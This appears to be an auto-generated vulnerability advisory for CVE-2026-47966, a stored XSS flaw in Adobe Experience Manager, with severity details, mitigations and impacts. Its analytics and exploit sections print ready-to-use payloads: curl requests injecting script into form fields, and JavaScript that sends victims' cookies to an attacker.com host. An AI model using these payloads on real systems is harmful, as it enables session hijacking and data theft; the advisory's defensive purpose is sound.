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CVE ID: CVE-2026-47966
Intro:
CVE-2026-47966 is a stored cross‑site scripting (XSS) vulnerability in Adobe Experience Manager (AEM). It affects AEM versions 6.5.24, LTS SP1, 2026.04 and all earlier releases. The flaw resides in the way AEM handles user‑supplied data in form fields that are later rendered back to other users. An attacker with low privileges (e.g., an authenticated author or contributor) can inject malicious JavaScript into a vulnerable input field. Because the input is not properly sanitised before storage, the script becomes permanently embedded in the page’s content. When a victim – typically a user with higher privileges, such as an administrator or a reviewer – browses the page containing the manipulated field, the stored script executes within their browser. The injected code can steal session cookies, perform actions on behalf of the victim, deface the page, or forward captured data to an external server. The scope is changed because the attack can cross security boundaries (the attacker’s low‑privileged context vs. the victim’s higher‑privileged session). According to the CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N), the vulnerability has a medium base severity of 5.4. The NVD record explicitly notes that the product does not neutralise user‑controllable input before it is placed in output that is served to other users (CWE-79). Adobe released a security bulletin (APSB26‑56) on 9 June 2026, but as of the publication date no active exploitation in the wild has been confirmed.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤6.5.24, LTS SP1, 2026.04
Vulnerability: Stored Cross-Site Scripting
Severity: Medium (5.4 CVSS)
date: June 09, 2026
Prediction: Patch expected June 15, 2026
Analytics under heading What Undercode Say:
Basic payload test for a vulnerable AEM form field
curl -X POST "https://target-aem.com/content/form" \
-H "Cookie: JSESSIONID=low_priv_session" \
-d "name=<script>alert('CVE-2026-47966')</script>&[email protected]"
Staged payload that sends captured cookies to an attacker server
cat << 'PAYLOAD' > xss_payload.js
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);
PAYLOAD
URL-encode the payload
encoded_payload=$(python3 -c "import urllib.parse; print(urllib.parse.quote(open('xss_payload.js').read()))")
curl -X POST "https://target-aem.com/content/form" \
-H "Cookie: JSESSIONID=low_priv_session" \
-d "comments=${encoded_payload}&submit=Submit"
Exploit:
An authenticated attacker (e.g., contributor) posts a script‑injected comment or profile field. The payload is stored in AEM’s repository (JCR). When a higher‑privileged user (editor or administrator) loads the page, the script executes automatically. Example HTTP POST to a vulnerable form endpoint:
POST /bin/receive HTTP/1.1
Host: vulnerable-aem.com
Cookie: JSESSIONID=LowPrivilegeSession
Content-Type: application/x-www-form-urlencoded
description=<script>fetch('https://attacker.com/log?c='%2bdocument.cookie)</script>
The attacker then waits for a victim to visit the page. No further interaction from the victim is required beyond browsing.
Protection from this CVE:
- Upgrade AEM to a version newer than 6.5.24, LTS SP1, or 2026.04 as soon as possible.
- Implement a Content Security Policy (CSP) that restricts script execution to trusted domains.
- Enforce strict output encoding for all user‑supplied input fields.
- Use an HTML sanitisation library (e.g., OWASP Java HTML Sanitizer) on all form submissions.
- Restrict low‑privileged user permissions to only necessary functions.
Impact:
Successful exploitation allows an attacker to:
- Hijack the victim’s authenticated session (including administrative sessions).
- Perform arbitrary actions inside AEM as the victim user.
- Deface pages or inject malicious redirects.
- Exfiltrate sensitive data displayed on the compromised page.
- Use the victim’s browser as a pivot to attack internal resources.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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